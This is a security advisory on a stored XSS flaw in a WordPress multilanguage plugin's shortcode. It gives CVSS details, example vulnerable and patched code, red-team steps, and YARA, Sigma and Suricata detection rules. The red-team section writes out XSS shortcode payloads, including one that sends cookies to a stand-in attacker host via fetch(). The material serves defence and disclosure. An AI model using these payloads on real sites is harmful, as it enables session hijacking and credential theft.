CVE-2025-9854

Executive Summary

CVE-2025-9854 is a Stored Cross-Site Scripting (XSS) vulnerability identified in the A Simple Multilanguage Plugin for WordPress, affecting all versions up to and including 1.0. The flaw resides in the asmp-switcher shortcode, where user-supplied attributes are not properly sanitized or escaped. Authenticated attackers with contributor-level access or higher can inject arbitrary web scripts. When a user visits a page containing the malicious shortcode, the script executes in the context of the victim's browser, potentially leading to session hijacking, credential theft, or defacement.

This vulnerability is specific to the WordPress ecosystem and does not involve Apache or Nginx. The plugin is not widely deployed, and no public proof-of-concept (PoC) or exploit code is available at this time. The EPSS score is 0.0%, indicating a low probability of exploitation in the wild, but the risk remains for sites with untrusted contributors.

Supply Chain & Package Security

This is a WordPress plugin vulnerability. The plugin is distributed via the WordPress plugin repository. No NPM, PyPI, Go, or Ruby packages are involved. The supply chain risk is limited to the plugin's update mechanism; users should monitor for official patches or remove the plugin if no update is provided.

CVSS Breakdown & Threat Level

• CVSS Score: 6.4 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (contributor-level)
• User Interaction: Required (victim must visit the page)
• Scope: Changed (impact may extend beyond the vulnerable component)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

The threat level is medium due to the need for authenticated access and user interaction. However, the potential for stored XSS in a WordPress context can lead to privilege escalation if an administrator visits the infected page.

Deep Dive & Mechanics

The vulnerability exists in the asmp-switcher shortcode handler. The plugin fails to sanitize user-supplied attributes (e.g., class, style, or custom data attributes) before outputting them in the HTML. An attacker with contributor-level access can create a post or page containing the shortcode with malicious JavaScript in an attribute.

For example, an attacker might inject:

[asmp-switcher class="test\" onclick=\"alert('XSS')\""]

When the shortcode is rendered, the unsanitized attribute is echoed directly into the HTML, allowing the attacker's JavaScript to execute.

The root cause is insufficient input sanitization and output escaping. The plugin likely uses echo or print without applying WordPress's esc_attr() or wp_kses() functions.

Vulnerable vs. Patched Code

Vulnerable Code (version 1.0):

function asmp_switcher_shortcode($atts) {
    $atts = shortcode_atts(array(
        'class' => '',
        'style' => '',
    ), $atts);
    $output = '<div class="asmp-switcher ' . $atts['class'] . '" style="' . $atts['style'] . '">';
    // ... rest of the code
    return $output;
}
add_shortcode('asmp-switcher', 'asmp_switcher_shortcode');

Patched Code (hypothetical fix):

function asmp_switcher_shortcode($atts) {
    $atts = shortcode_atts(array(
        'class' => '',
        'style' => '',
    ), $atts);
    $safe_class = esc_attr($atts['class']);
    $safe_style = esc_attr($atts['style']);
    $output = '<div class="asmp-switcher ' . $safe_class . '" style="' . $safe_style . '">';
    // ... rest of the code
    return $output;
}
add_shortcode('asmp-switcher', 'asmp_switcher_shortcode');

The fix applies esc_attr() to each attribute before output, preventing XSS.

Exploitation & Lab Setup

Red Team

Prerequisites:

• WordPress instance with A Simple Multilanguage Plugin version 1.0.
• Contributor-level account or higher.

Steps:

1. Log in as a contributor.
2. Create a new post or page.
3. Insert the following shortcode into the content:

   [asmp-switcher class="test\" onclick=\"alert(document.cookie)\""]
   

4. Publish the post.
5. When an administrator or any user views the post, the JavaScript executes, displaying the victim's cookies.

Advanced Payload:

[asmp-switcher class="x\" onmouseover=\"fetch('https://attacker.com/steal?cookie='+document.cookie)\""]

Blue Team

Detection:

• Monitor for posts/pages containing the asmp-switcher shortcode with suspicious attributes (e.g., onclick, onmouseover, onerror).
• Review contributor-level user activity for unusual shortcode usage.
• Use the Sigma rule below to detect XSS attempts in web logs.

Mitigation:

• Remove or disable the plugin until a patch is available.
• Restrict contributor-level access to trusted users only.
• Implement a Web Application Firewall (WAF) rule to block XSS payloads in shortcode attributes.

Indicators of Compromise (IOCs)

• File: /wp-content/plugins/a-simple-multilanguage-plugin/ (presence of the plugin)
• Shortcode pattern: [asmp-switcher followed by suspicious event handlers (e.g., onclick, onerror)
• HTTP request: POST to /wp-admin/post.php with post_content containing [asmp-switcher and XSS payload
• Log entry: Web server logs showing requests to pages with the malicious shortcode, followed by outbound connections to attacker-controlled domains (if payload exfiltrates data)

Detection Engineering

YARA Rule

rule CVE_2025_9854_WordPress_XSS {
    meta:
        description = "Detects malicious shortcode attributes in A Simple Multilanguage Plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-9854"
    strings:
        $shortcode = /\[asmp-switcher[^\]]*?(on\w+)=["']/
        $xss_payload = /<script>|alert\(|fetch\(|document\.cookie/
    condition:
        $shortcode or $xss_payload
}

Sigma Rule

title: CVE-2025-9854 - Stored XSS via asmp-switcher Shortcode
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects HTTP requests containing malicious shortcode attributes for CVE-2025-9854
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/wp-admin/post.php'
        cs-uri-query|contains: 'post_content'
        cs-uri-query|re: '\[asmp-switcher[^\]]*?(on\w+)=["\']'
    condition: selection
falsepositives:
    - Legitimate use of shortcode attributes (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-9854 - Stored XSS via asmp-switcher Shortcode"; flow:to_server; content:"POST"; http_method; content:"/wp-admin/post.php"; http_uri; pcre:"/\[asmp-switcher[^\]]*?(on\w+)=[\"']/Ri"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until an official patch is released.
2. Review and remove any posts/pages containing the asmp-switcher shortcode with suspicious attributes.
3. Audit user roles and revoke contributor access for untrusted users.

Long-term Fix:

• The vendor must release a patched version that sanitizes shortcode attributes using esc_attr() or wp_kses().
• If no patch is forthcoming, consider replacing the plugin with an alternative.

Detection:

• Deploy the YARA, Sigma, and Suricata rules above to detect exploitation attempts.
• Monitor web server logs for XSS patterns.

Valters IT
Securing Digital Frontiers